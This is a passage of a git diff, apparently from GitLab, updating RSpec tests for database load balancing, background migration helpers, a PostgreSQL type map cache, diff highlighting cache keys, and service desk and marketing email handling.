+ model.create!(name: 'Test1')
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ model.connection.exec_query("SELECT 1")
+ end
+ },
+ false, [:primary, :primary]
+ ],
+
+ # fallback_to_replicas_for_ambiguous_queries after use_primary!
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_primary!
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ model.connection.exec_query("SELECT 1")
+ end
+ },
+ false, [:primary]
+ ],
+
+ # fallback_to_replicas_for_ambiguous_queries inside use_primary
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_primary do
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ model.connection.exec_query("SELECT 1")
+ end
+ end
+ },
+ false, [:primary]
+ ],
+
+ # use_primary inside fallback_to_replicas_for_ambiguous_queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ ::Gitlab::Database::LoadBalancing::Session.current.use_primary do
+ model.connection.exec_query("SELECT 1")
+ end
+ end
+ },
+ false, [:primary]
+ ],
+
+ # A write query inside fallback_to_replicas_for_ambiguous_queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ model.connection.exec_query("SELECT 1")
+ model.delete_all
+ model.connection.exec_query("SELECT 1")
+ end
+ },
+ false, [:replica, :primary, :primary]
+ ],
+
+ # use_replicas_for_read_queries incorporates with fallback_to_replicas_for_ambiguous_queries
+ [
+ -> {
+ ::Gitlab::Database::LoadBalancing::Session.current.use_replicas_for_read_queries do
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ model.connection.exec_query('SELECT 1')
+ model.where(name: 'test1').to_a
+ end
+ end
+ },
+ false, [:replica, :replica]
+ ]
+ ]
+ end
+
+ with_them do
+ include_context 'LoadBalancing setup'
+
+ it 'redirects queries to the right roles' do
+ roles = []
+
+ subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |event|
+ payload = event.payload
+
+ assert =
+ if payload[:name] == 'SCHEMA'
+ false
+ elsif payload[:name] == 'SQL' # Custom query
+ true
+ else
+ keywords = %w[load_balancing_test]
+ keywords += %w[begin commit] if include_transaction
+ keywords.any? { |keyword| payload[:sql].downcase.include?(keyword) }
+ end
+
+ if assert
+ db_role = ::Gitlab::Database::LoadBalancing.db_role_for_connection(payload[:connection])
+ roles << db_role
+ end
+ end
+
+ self.instance_exec(&queries)
+
+ expect(roles).to eql(expected_results)
+ ensure
+ ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+ end
+ end
+
+ context 'custom connection handling' do
+ where(:queries, :expected_role) do
+ [
+ # Reload cache. The schema loading queries should be handled by
+ # primary.
+ [
+ -> {
+ model.connection.clear_cache!
+ model.connection.schema_cache.add('users')
+ model.connection.pool.release_connection
+ },
+ :primary
+ ],
+
+ # Call model's connection method
+ [
+ -> {
+ connection = model.connection
+ connection.select_one('SELECT 1')
+ connection.pool.release_connection
+ },
+ :replica
+ ],
+
+ # Retrieve connection via #retrieve_connection
+ [
+ -> {
+ connection = model.retrieve_connection
+ connection.select_one('SELECT 1')
+ connection.pool.release_connection
+ },
+ :primary
+ ]
+ ]
+ end
+
+ with_them do
+ include_context 'LoadBalancing setup'
+
+ it 'redirects queries to the right roles' do
+ roles = []
+
+ subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |event|
+ role = ::Gitlab::Database::LoadBalancing.db_role_for_connection(event.payload[:connection])
+ roles << role if role.present?
+ end
+
+ self.instance_exec(&queries)
+
+ expect(roles).to all(eql(expected_role))
+ ensure
+ ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber
+ end
+ end
+ end
+
+ context 'a write inside a transaction inside fallback_to_replicas_for_ambiguous_queries block' do
+ include_context 'LoadBalancing setup'
+
+ it 'raises an exception' do
+ expect do
+ ::Gitlab::Database::LoadBalancing::Session.current.fallback_to_replicas_for_ambiguous_queries do
+ model.transaction do
+ model.first
+ model.create!(name: 'hello')
+ end
+ end
+ end.to raise_error(Gitlab::Database::LoadBalancing::ConnectionProxy::WriteInsideReadOnlyTransactionError)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/database/migration_helpers_spec.rb b/spec/lib/gitlab/database/migration_helpers_spec.rb
index 40720628a89..f0ea07646fb 100644
--- a/spec/lib/gitlab/database/migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migration_helpers_spec.rb
@@ -2001,6 +2001,41 @@ RSpec.describe Gitlab::Database::MigrationHelpers do
end
end
+ describe '#ensure_batched_background_migration_is_finished' do
+ let(:configuration) do
+ {
+ job_class_name: 'CopyColumnUsingBackgroundMigrationJob',
+ table_name: :events,
+ column_name: :id,
+ job_arguments: [[:id], [:id_convert_to_bigint]]
+ }
+ end
+
+ subject(:ensure_batched_background_migration_is_finished) { model.ensure_batched_background_migration_is_finished(**configuration) }
+
+ it 'raises an error when migration exists and is not marked as finished' do
+ create(:batched_background_migration, configuration.merge(status: :active))
+
+ expect { ensure_batched_background_migration_is_finished }
+ .to raise_error "Expected batched background migration for the given configuration to be marked as 'finished', but it is 'active': #{configuration}"
+ end
+
+ it 'does not raise error when migration exists and is marked as finished' do
+ create(:batched_background_migration, configuration.merge(status: :finished))
+
+ expect { ensure_batched_background_migration_is_finished }
+ .not_to raise_error
+ end
+
+ it 'logs a warning when migration does not exist' do
+ expect(Gitlab::AppLogger).to receive(:warn)
+ .with("Could not find batched background migration for the given configuration: #{configuration}")
+
+ expect { ensure_batched_background_migration_is_finished }
+ .not_to raise_error
+ end
+ end
+
describe '#index_exists_by_name?' do
it 'returns true if an index exists' do
ActiveRecord::Base.connection.execute(
diff --git a/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb b/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
index c6d456964cf..e096e7f6e91 100644
--- a/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
+++ b/spec/lib/gitlab/database/migrations/background_migration_helpers_spec.rb
@@ -242,6 +242,98 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
end
end
+ describe '#requeue_background_migration_jobs_by_range_at_intervals' do
+ let!(:job_class_name) { 'TestJob' }
+ let!(:pending_job_1) { create(:background_migration_job, class_name: job_class_name, status: :pending, arguments: [1, 2]) }
+ let!(:pending_job_2) { create(:background_migration_job, class_name: job_class_name, status: :pending, arguments: [3, 4]) }
+ let!(:successful_job_1) { create(:background_migration_job, class_name: job_class_name, status: :succeeded, arguments: [5, 6]) }
+ let!(:successful_job_2) { create(:background_migration_job, class_name: job_class_name, status: :succeeded, arguments: [7, 8]) }
+
+ around do |example|
+ freeze_time do
+ Sidekiq::Testing.fake! do
+ example.run
+ end
+ end
+ end
+
+ subject { model.requeue_background_migration_jobs_by_range_at_intervals(job_class_name, 10.minutes) }
+
+ it 'returns the expected duration' do
+ expect(subject).to eq(20.minutes)
+ end
+
+ context 'when nothing is queued' do
+ subject { model.requeue_background_migration_jobs_by_range_at_intervals('FakeJob', 10.minutes) }
+
+ it 'returns expected duration of zero when nothing gets queued' do
+ expect(subject).to eq(0)
+ end
+ end
+
+ it 'queues pending jobs' do
+ subject
+
+ expect(BackgroundMigrationWorker.jobs[0]['args']).to eq([job_class_name, [1, 2]])
+ expect(BackgroundMigrationWorker.jobs[0]['at']).to be_nil
+ expect(BackgroundMigrationWorker.jobs[1]['args']).to eq([job_class_name, [3, 4]])
+ expect(BackgroundMigrationWorker.jobs[1]['at']).to eq(10.minutes.from_now.to_f)
+ end
+
+ context 'with batch_size option' do
+ subject { model.requeue_background_migration_jobs_by_range_at_intervals(job_class_name, 10.minutes, batch_size: 1) }
+
+ it 'returns the expected duration' do
+ expect(subject).to eq(20.minutes)
+ end
+
+ it 'queues pending jobs' do
+ subject
+
+ expect(BackgroundMigrationWorker.jobs[0]['args']).to eq([job_class_name, [1, 2]])
+ expect(BackgroundMigrationWorker.jobs[0]['at']).to be_nil
+ expect(BackgroundMigrationWorker.jobs[1]['args']).to eq([job_class_name, [3, 4]])
+ expect(BackgroundMigrationWorker.jobs[1]['at']).to eq(10.minutes.from_now.to_f)
+ end
+
+ it 'retrieve jobs in batches' do
+ jobs = double('jobs')
+ expect(Gitlab::Database::BackgroundMigrationJob).to receive(:pending) { jobs }
+ allow(jobs).to receive(:where).with(class_name: job_class_name) { jobs }
+ expect(jobs).to receive(:each_batch).with(of: 1)
+
+ subject
+ end
+ end
+
+ context 'with initial_delay option' do
+ let_it_be(:initial_delay) { 3.minutes }
+
+ subject { model.requeue_background_migration_jobs_by_range_at_intervals(job_class_name, 10.minutes, initial_delay: initial_delay) }
+
+ it 'returns the expected duration' do
+ expect(subject).to eq(23.minutes)
+ end
+
+ it 'queues pending jobs' do
+ subject
+
+ expect(BackgroundMigrationWorker.jobs[0]['args']).to eq([job_class_name, [1, 2]])
+ expect(BackgroundMigrationWorker.jobs[0]['at']).to eq(3.minutes.from_now.to_f)
+ expect(BackgroundMigrationWorker.jobs[1]['args']).to eq([job_class_name, [3, 4]])
+ expect(BackgroundMigrationWorker.jobs[1]['at']).to eq(13.minutes.from_now.to_f)
+ end
+
+ context 'when nothing is queued' do
+ subject { model.requeue_background_migration_jobs_by_range_at_intervals('FakeJob', 10.minutes) }
+
+ it 'returns expected duration of zero when nothing gets queued' do
+ expect(subject).to eq(0)
+ end
+ end
+ end
+ end
+
describe '#perform_background_migration_inline?' do
it 'returns true in a test environment' do
stub_rails_env('test')
@@ -269,6 +361,38 @@ RSpec.describe Gitlab::Database::Migrations::BackgroundMigrationHelpers do
allow(Gitlab::Database::PgClass).to receive(:for_table).and_call_original
end
+ context 'when such migration already exists' do
+ it 'does not create duplicate migration' do
+ create(
+ :batched_background_migration,
+ job_class_name: 'MyJobClass',
+ table_name: :projects,
+ column_name: :id,
+ interval: 10.minutes,
+ min_value: 5,
+ max_value: 1005,
+ batch_class_name: 'MyBatchClass',
+ batch_size: 200,
+ sub_batch_size: 20,
+ job_arguments: [[:id], [:id_convert_to_bigint]]
+ )
+
+ expect do
+ model.queue_batched_background_migration(
+ 'MyJobClass',
+ :projects,
+ :id,
+ [:id], [:id_convert_to_bigint],
+ job_interval: 5.minutes,
+ batch_min_value: 5,
+ batch_max_value: 1000,
+ batch_class_name: 'MyBatchClass',
+ batch_size: 100,
+ sub_batch_size: 10)
+ end.not_to change { Gitlab::Database::BackgroundMigration::BatchedMigration.count }
+ end
+ end
+
it 'creates the database record for the migration' do
expect(Gitlab::Database::PgClass).to receive(:for_table).with(:projects).and_return(pgclass_info)
diff --git a/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb b/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
index 79ddb450d7a..4f1d6302331 100644
--- a/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
+++ b/spec/lib/gitlab/database/partitioning_migration_helpers/table_management_helpers_spec.rb
@@ -580,7 +580,7 @@ RSpec.describe Gitlab::Database::PartitioningMigrationHelpers::TableManagementHe
it 'idempotently cleans up after failed background migrations' do
expect(partitioned_model.count).to eq(0)
- partitioned_model.insert!(record2.attributes)
+ partitioned_model.insert(record2.attributes, unique_by: [:id, :created_at])
expect_next_instance_of(Gitlab::Database::PartitioningMigrationHelpers::BackfillPartitionedTable) do |backfill|
allow(backfill).to receive(:transaction_open?).and_return(false)
diff --git a/spec/lib/gitlab/database/postgresql_adapter/type_map_cache_spec.rb b/spec/lib/gitlab/database/postgresql_adapter/type_map_cache_spec.rb
new file mode 100644
index 00000000000..e9c512f94bb
--- /dev/null
+++ b/spec/lib/gitlab/database/postgresql_adapter/type_map_cache_spec.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Database::PostgresqlAdapter::TypeMapCache do
+ let(:db_config) { ActiveRecord::Base.configurations.configs_for(env_name: 'test', name: 'primary').configuration_hash }
+ let(:adapter_class) { ActiveRecord::ConnectionAdapters::PostgreSQLAdapter }
+
+ before do
+ adapter_class.type_map_cache.clear
+ end
+
+ describe '#initialize_type_map' do
+ it 'caches loading of types in memory' do
+ recorder_without_cache = ActiveRecord::QueryRecorder.new(skip_schema_queries: false) { initialize_connection.disconnect! }
+ expect(recorder_without_cache.log).to include(a_string_matching(/FROM pg_type/)).twice
+
+ recorder_with_cache = ActiveRecord::QueryRecorder.new(skip_schema_queries: false) { initialize_connection.disconnect! }
+
+ expect(recorder_with_cache.count).to be < recorder_without_cache.count
+
+ # There's still one pg_type query left here because `#add_pg_decoders` executes another pg_type query
+ # in https://github.com/rails/rails/blob/v6.1.3.2/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb#L912.
+ # This query is much cheaper because it only returns very few records.
+ expect(recorder_with_cache.log).to include(a_string_matching(/FROM pg_type/)).once
+ end
+
+ it 'only reuses the cache if the connection parameters are exactly the same' do
+ initialize_connection.disconnect!
+
+ other_config = db_config.dup
+ other_config[:connect_timeout] = db_config[:connect_timeout].to_i + 10
+
+ recorder = ActiveRecord::QueryRecorder.new(skip_schema_queries: false) { initialize_connection(other_config).disconnect! }
+
+ expect(recorder.log).to include(a_string_matching(/FROM pg_type/)).twice
+ end
+ end
+
+ describe '#reload_type_map' do
+ it 'clears the cache and executes the type map query again' do
+ initialize_connection.disconnect!
+
+ connection = initialize_connection
+ recorder = ActiveRecord::QueryRecorder.new(skip_schema_queries: false) { connection.reload_type_map }
+
+ expect(recorder.log).to include(a_string_matching(/FROM pg_type/)).once
+ end
+ end
+
+ # Based on https://github.com/rails/rails/blob/v6.1.3.2/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb#L36-L41
+ def initialize_connection(config = db_config)
+ conn_params = config.symbolize_keys.compact
+
+ conn_params[:user] = conn_params.delete(:username) if conn_params[:username]
+ conn_params[:dbname] = conn_params.delete(:database) if conn_params[:database]
+
+ valid_conn_param_keys = PG::Connection.conndefaults_hash.keys + [:requiressl]
+ conn_params.slice!(*valid_conn_param_keys)
+
+ adapter_class.new(
+ adapter_class.new_client(conn_params),
+ ActiveRecord::Base.logger,
+ conn_params,
+ config
+ )
+ end
+end
diff --git a/spec/lib/gitlab/database/with_lock_retries_spec.rb b/spec/lib/gitlab/database/with_lock_retries_spec.rb
index b08f39fc92a..df2c506e163 100644
--- a/spec/lib/gitlab/database/with_lock_retries_spec.rb
+++ b/spec/lib/gitlab/database/with_lock_retries_spec.rb
@@ -242,10 +242,10 @@ RSpec.describe Gitlab::Database::WithLockRetries do
let(:timing_configuration) { [[0.015.seconds, 0.025.seconds], [0.015.seconds, 0.025.seconds]] } # 15ms, 25ms
it 'executes `SET LOCAL lock_timeout` using the configured timeout value in milliseconds' do
- expect(ActiveRecord::Base.connection).to receive(:execute).with("SAVEPOINT active_record_1").and_call_original
- expect(ActiveRecord::Base.connection).to receive(:execute).with('RESET idle_in_transaction_session_timeout; RESET lock_timeout').and_call_original
+ expect(ActiveRecord::Base.connection).to receive(:execute).with("RESET idle_in_transaction_session_timeout; RESET lock_timeout").and_call_original
+ expect(ActiveRecord::Base.connection).to receive(:execute).with("SAVEPOINT active_record_1", "TRANSACTION").and_call_original
expect(ActiveRecord::Base.connection).to receive(:execute).with("SET LOCAL lock_timeout TO '15ms'").and_call_original
- expect(ActiveRecord::Base.connection).to receive(:execute).with("RELEASE SAVEPOINT active_record_1").and_call_original
+ expect(ActiveRecord::Base.connection).to receive(:execute).with("RELEASE SAVEPOINT active_record_1", "TRANSACTION").and_call_original
subject.run { }
end
diff --git a/spec/lib/gitlab/database_spec.rb b/spec/lib/gitlab/database_spec.rb
index 663c8d69328..847f7ec2d74 100644
--- a/spec/lib/gitlab/database_spec.rb
+++ b/spec/lib/gitlab/database_spec.rb
@@ -65,6 +65,28 @@ RSpec.describe Gitlab::Database do
end
end
+ describe '.disable_prepared_statements' do
+ around do |example|
+ original_config = ::Gitlab::Database.config
+
+ example.run
+
+ ActiveRecord::Base.establish_connection(original_config)
+ end
+
+ it 'disables prepared statements' do
+ ActiveRecord::Base.establish_connection(::Gitlab::Database.config.merge(prepared_statements: true))
+ expect(ActiveRecord::Base.connection.prepared_statements).to eq(true)
+
+ expect(ActiveRecord::Base).to receive(:establish_connection)
+ .with(a_hash_including({ 'prepared_statements' => false })).and_call_original
+
+ described_class.disable_prepared_statements
+
+ expect(ActiveRecord::Base.connection.prepared_statements).to eq(false)
+ end
+ end
+
describe '.postgresql?' do
subject { described_class.postgresql? }
@@ -103,10 +125,10 @@ RSpec.describe Gitlab::Database do
expect(described_class.postgresql_minimum_supported_version?).to eq(false)
end
- it 'returns true when using PostgreSQL 11' do
+ it 'returns false when using PostgreSQL 11' do
allow(described_class).to receive(:version).and_return('11')
- expect(described_class.postgresql_minimum_supported_version?).to eq(true)
+ expect(described_class.postgresql_minimum_supported_version?).to eq(false)
end
it 'returns true when using PostgreSQL 12' do
@@ -307,7 +329,7 @@ RSpec.describe Gitlab::Database do
expect(pool)
.to be_kind_of(ActiveRecord::ConnectionAdapters::ConnectionPool)
- expect(pool.spec.config[:pool]).to eq(5)
+ expect(pool.db_config.pool).to eq(5)
ensure
pool.disconnect!
end
@@ -317,7 +339,7 @@ RSpec.describe Gitlab::Database do
pool = described_class.create_connection_pool(5, '127.0.0.1')
begin
- expect(pool.spec.config[:host]).to eq('127.0.0.1')
+ expect(pool.db_config.host).to eq('127.0.0.1')
ensure
pool.disconnect!
end
@@ -327,8 +349,8 @@ RSpec.describe Gitlab::Database do
pool = described_class.create_connection_pool(5, '127.0.0.1', 5432)
begin
- expect(pool.spec.config[:host]).to eq('127.0.0.1')
- expect(pool.spec.config[:port]).to eq(5432)
+ expect(pool.db_config.host).to eq('127.0.0.1')
+ expect(pool.db_config.configuration_hash[:port]).to eq(5432)
ensure
pool.disconnect!
end
diff --git a/spec/lib/gitlab/diff/highlight_cache_spec.rb b/spec/lib/gitlab/diff/highlight_cache_spec.rb
index 4c56911e665..9e94a63ea4b 100644
--- a/spec/lib/gitlab/diff/highlight_cache_spec.rb
+++ b/spec/lib/gitlab/diff/highlight_cache_spec.rb
@@ -238,17 +238,7 @@ RSpec.describe Gitlab::Diff::HighlightCache, :clean_gitlab_redis_cache do
subject { cache.key }
it 'returns cache key' do
- is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:true:true:true")
- end
-
- context 'when the `introduce_marker_ranges` feature flag is disabled' do
- before do
- stub_feature_flags(introduce_marker_ranges: false)
- end
-
- it 'returns the original version of the cache' do
- is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:false:true:true")
- end
+ is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:true:true")
end
context 'when the `use_marker_ranges` feature flag is disabled' do
@@ -257,7 +247,7 @@ RSpec.describe Gitlab::Diff::HighlightCache, :clean_gitlab_redis_cache do
end
it 'returns the original version of the cache' do
- is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:true:false:true")
+ is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:false:true")
end
end
@@ -267,7 +257,7 @@ RSpec.describe Gitlab::Diff::HighlightCache, :clean_gitlab_redis_cache do
end
it 'returns the original version of the cache' do
- is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:true:true:false")
+ is_expected.to eq("highlighted-diff-files:#{cache.diffable.cache_key}:2:#{cache.diff_options}:true:false")
end
end
end
diff --git a/spec/lib/gitlab/diff/highlight_spec.rb b/spec/lib/gitlab/diff/highlight_spec.rb
index 94d3b2ad0b3..94b28c38fa2 100644
--- a/spec/lib/gitlab/diff/highlight_spec.rb
+++ b/spec/lib/gitlab/diff/highlight_spec.rb
@@ -56,26 +56,6 @@ RSpec.describe Gitlab::Diff::Highlight do
expect(subject[5].rich_text).to eq(code)
end
- context 'when introduce_marker_ranges is false' do
- before do
- stub_feature_flags(introduce_marker_ranges: false)
- end
-
- it 'keeps the old bevavior (without mode classes)' do
- code = %Q{+<span id="LC9" class="line" lang="ruby"> <span class="k">raise</span> <span class="no"><span class="idiff left">RuntimeError</span></span><span class="p"><span class="idiff">,</span></span><span class="idiff right"> </span><span class="s2">"System commands must be given as an array of strings"</span></span>\n}
-
- expect(subject[5].rich_text).to eq(code)
- end
-
- context 'when use_marker_ranges feature flag is false too' do
- it 'does not affect the result' do
- code = %Q{+<span id="LC9" class="line" lang="ruby"> <span class="k">raise</span> <span class="no"><span class="idiff left">RuntimeError</span></span><span class="p"><span class="idiff">,</span></span><span class="idiff right"> </span><span class="s2">"System commands must be given as an array of strings"</span></span>\n}
-
- expect(subject[5].rich_text).to eq(code)
- end
- end
- end
-
context 'when no diff_refs' do
before do
allow(diff_file).to receive(:diff_refs).and_return(nil)
diff --git a/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb b/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb
index 1a7d837af73..dd230140b30 100644
--- a/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/create_issue_handler_spec.rb
@@ -128,6 +128,14 @@ RSpec.describe Gitlab::Email::Handler::CreateIssueHandler do
expect { receiver.execute }.to raise_error(Gitlab::Email::ProjectNotFound)
end
end
+
+ context 'when project ID is invalid' do
+ it 'raises a ProjectNotFound' do
+ handler = described_class.new(email_raw, "gitlabhq-gitlabhq-#{Gitlab::Database::MAX_INT_VALUE}-#{user.incoming_email_token}-issue")
+
+ expect { handler.execute }.to raise_error(Gitlab::Email::ProjectNotFound)
+ end
+ end
end
def email_fixture(path)
diff --git a/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb b/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
index 6d26b3e1064..3a60564d8d2 100644
--- a/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
+++ b/spec/lib/gitlab/email/handler/service_desk_handler_spec.rb
@@ -168,7 +168,7 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
end
context 'when using service desk key' do
- let_it_be(:service_desk_settings) { create(:service_desk_setting, project: project, project_key: 'mykey') }
+ let_it_be(:service_desk_key) { 'mykey' }
let(:email_raw) { service_desk_fixture('emails/service_desk_custom_address.eml') }
let(:receiver) { Gitlab::Email::ServiceDeskReceiver.new(email_raw) }
@@ -176,6 +176,10 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
stub_service_desk_email_setting(enabled: true, address: 'support+%{key}@example.com')
end
+ before_all do
+ create(:service_desk_setting, project: project, project_key: service_desk_key)
+ end
+
it_behaves_like 'a new issue request'
context 'when there is no project with the key' do
@@ -193,6 +197,20 @@ RSpec.describe Gitlab::Email::Handler::ServiceDeskHandler do
expect { receiver.execute }.to raise_error(Gitlab::Email::ProjectNotFound)
end
end
+
+ context 'when there are multiple projects with same key' do
+ let_it_be(:project_with_same_key) { create(:project, group: group, service_desk_enabled: true) }
+ let(:email_raw) { service_desk_fixture('emails/service_desk_custom_address.eml', slug: project_with_same_key.full_path_slug.to_s) }
+
+ before do
+ create(:service_desk_setting, project: project_with_same_key, project_key: service_desk_key)
+ end
+
+ it 'process email for project with matching slug' do
+ expect { receiver.execute }.to change { Issue.count }.by(1)
+ expect(Issue.last.project).to eq(project_with_same_key)
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/email/message/in_product_marketing/base_spec.rb b/spec/lib/gitlab/email/message/in_product_marketing/base_spec.rb
index 42d84b3e4de..277f1158f8b 100644
--- a/spec/lib/gitlab/email/message/in_product_marketing/base_spec.rb
+++ b/spec/lib/gitlab/email/message/in_product_marketing/base_spec.rb
@@ -4,12 +4,13 @@ require 'spec_helper'
RSpec.describe Gitlab::Email::Message::InProductMarketing::Base do
let_it_be(:group) { build(:group) }
+ let_it_be(:user) { build(:user) }
let(:series) { 0 }
let(:test_class) { Gitlab::Email::Message::InProductMarketing::Create }
describe 'initialize' do
- subject { test_class.new(group: group, series: series) }
+ subject { test_class.new(group: group, user: user, series: series) }
context 'when series does not exist' do
let(:series) { 3 }
@@ -29,13 +30,13 @@ RSpec.describe Gitlab::Email::Message::InProductMarketing::Base do
end
describe '#logo_path' do
- subject { test_class.new(group: group, series: series).logo_path }
+ subject { test_class.new(group: group, user: user, series: series).logo_path }
it { is_expected.to eq('mailers/in_product_marketing/create-0.png') }
end
describe '#unsubscribe' do
- subject { test_class.new(group: group, series: series).unsubscribe }
+ subject { test_class.new(group: group, user: user, series: series).unsubscribe }
before do
allow(Gitlab).to receive(:com?).and_return(is_gitlab_com)
@@ -55,7 +56,7 @@ RSpec.describe Gitlab::Email::Message::InProductMarketing::Base do
end
describe '#cta_link' do
- subject(:cta_link) { test_class.new(group: group, series: series).cta_link }
+ subject(:cta_link) { test_class.new(group: group, user: user, series: series).cta_link }
it 'renders link' do
expect(CGI.unescapeHTML(cta_link)).to include(Gitlab::Routing.url_helpers.group_email_campaigns_url(group, track: :create, series: series))
@@ -63,7 +64,7 @@ RSpec.describe Gitlab::Email::Message::InProductMarketing::Base do
end
describe '#progress' do
- subject { test_class.new(group: group, series: series).progress }
+ subject { test_class.new(group: group, user: user, series: series).progress }
before do
allow(Gitlab).to receive(:com?).and_return(is_gitlab_com)
diff --git a/spec/lib/gitlab/email/message/in_product_marketing/create_spec.rb b/spec/lib/gitlab/email/message/in_product_marketing/create_spec.rb
index be8a33b18bd..35470ef3555 100644
--- a/spec/lib/gitlab/email/message/in_product_marketing/create_spec.rb
+++ b/spec/lib/gitlab/email/message/in_product_marketing/create_spec.rb
@@ -6,8 +6,9 @@ RSpec.describe Gitlab::Email::Message::InProductMarketing::Create do
using RSpec::Parameterized::TableSyntax
let_it_be(:group) { build(:group) }
+ let_it_be(:user) { build(:user) }
- subject(:message) { described_class.new(group: group, series: series)}
+ subject(:message) { described_class.new(group: group, user: user, series: series)}
describe "public methods" do
where(series: [0, 1, 2])
diff --git a/spec/lib/gitlab/email/message/in_product_marketing/experience_spec.rb b/spec/lib/gitlab/email/message/in_product_marketing/experience_spec.rb
new file mode 100644
index 00000000000..b742eff3f56
--- /dev/null
+++ b/spec/lib/gitlab/email/message/in_product_marketing/experience_spec.rb
@@ -0,0 +1,64 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Email::Message::InProductMarketing::Experience do
+ let_it_be(:group) { build(:group) }
+ let_it_be(:user) { build(:user) }
+
+ subject(:message) { described_class.new(group: group, user: user, series: series)}
+
+ describe 'public methods' do
+ context 'with series 0' do
+ let(:series) { 0 }
+
+ it 'returns value for series', :aggregate_failures do
+ expect(message.subject_line).to be_present
+ expect(message.tagline).to be_nil
+ expect(message.title).to be_present
+ expect(message.subtitle).to be_present
+ expect(message.body_line1).to be_present
+ expect(message.body_line2).to be_present
+ expect(message.cta_text).to be_nil
+ end
+
+ describe '#feedback_link' do
+ let(:member_count) { 2 }
+ let(:user_access) { GroupMember::DEVELOPER }
+ let(:preferred_language) { 'en' }
+
+ before do
+ allow(message).to receive(:onboarding_progress).and_return(1)
+ allow(group).to receive(:member_count).and_return(member_count)
+ allow(group).to receive(:max_member_access_for_user).and_return(user_access)
+ allow(user).to receive(:preferred_language).and_return(preferred_language)
+ end
+
+ subject do
+ uri = URI.parse(message.feedback_link(1))
+ Rack::Utils.parse_query(uri.query).with_indifferent_access[:show_invite_link]
+ end
+
+ it { is_expected.to eq('true') }
+
+ context 'with only one member' do
+ let(:member_count) { 1 }
+
+ it { is_expected.to eq('false') }
+ end
+
+ context 'with less than developer access' do
+ let(:user_access) { GroupMember::GUEST }
+
+ it { is_expected.to eq('false') }
+ end
+
+ context 'with preferred language other than English' do
+ let(:preferred_language) { 'nl' }
+
+ it { is_expected.to eq('false') }
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/email/message/in_product_marketing/team_spec.rb b/spec/lib/gitlab/email/message/in_product_marketing/team_spec.rb
index 6251128f560..f72994fcce1 100644
--- a/spec/lib/gitlab/email/message/in_product_marketing/team_spec.rb
+++ b/spec/lib/gitlab/email/message/in_product_marketing/team_spec.rb
@@ -6,8 +6,9 @@ RSpec.describe Gitlab::Email::Message::InProductMarketing::Team do
using RSpec::Parameterized::TableSyntax
let_it_be(:group) { build(:group) }
+ let_it_be(:user) { build(:user) }
- subject(:message) { described_class.new(group: group, series: series)}
+ subject(:message) { described_class.new(group: group, user: user, series: series)}
describe "public methods" do
where(series: [0, 1])
diff --git a/spec/lib/gitlab/email/message/in_product_marketing/trial_spec.rb b/spec/lib/gitlab/email/message/in_product_marketing/trial_spec.rb
index 2c435490765..5f7639a9ed6 100644
--- a/spec/lib/gitlab/email/message/in_product_marketing/trial_spec.rb
+++ b/spec/lib/gitlab/email/message/in_product_marketing/trial_spec.rb
@@ -6,8 +6,9 @@ RSpec.describe Gitlab::Email::Message::InProductMarketing::Trial do
using RSpec::Parameterized::TableSyntax
let_it_be(:group) { build(:group) }
+ let_it_be(:user) { build(:user) }
- subject(:message) { described_class.new(group: group, series: series)}
+ subject(:message) { described_class.new(group: group, user: user, series: series)}
describe "public methods" do
where(series: [0, 1, 2])
diff --git a/spec/lib/gitlab/email/message/in_product_marketing/verify_spec.rb b/spec/lib/gitlab/email/message/in_product_marketing/verify_spec.rb
index 73252c0dbdf..a7da2e9553d 100644
--- a/spec/lib/gitlab/email/message/in_product_marketing/verify_spec.rb
+++ b/spec/lib/gitlab/email/message/in_product_marketing/verify_spec.rb
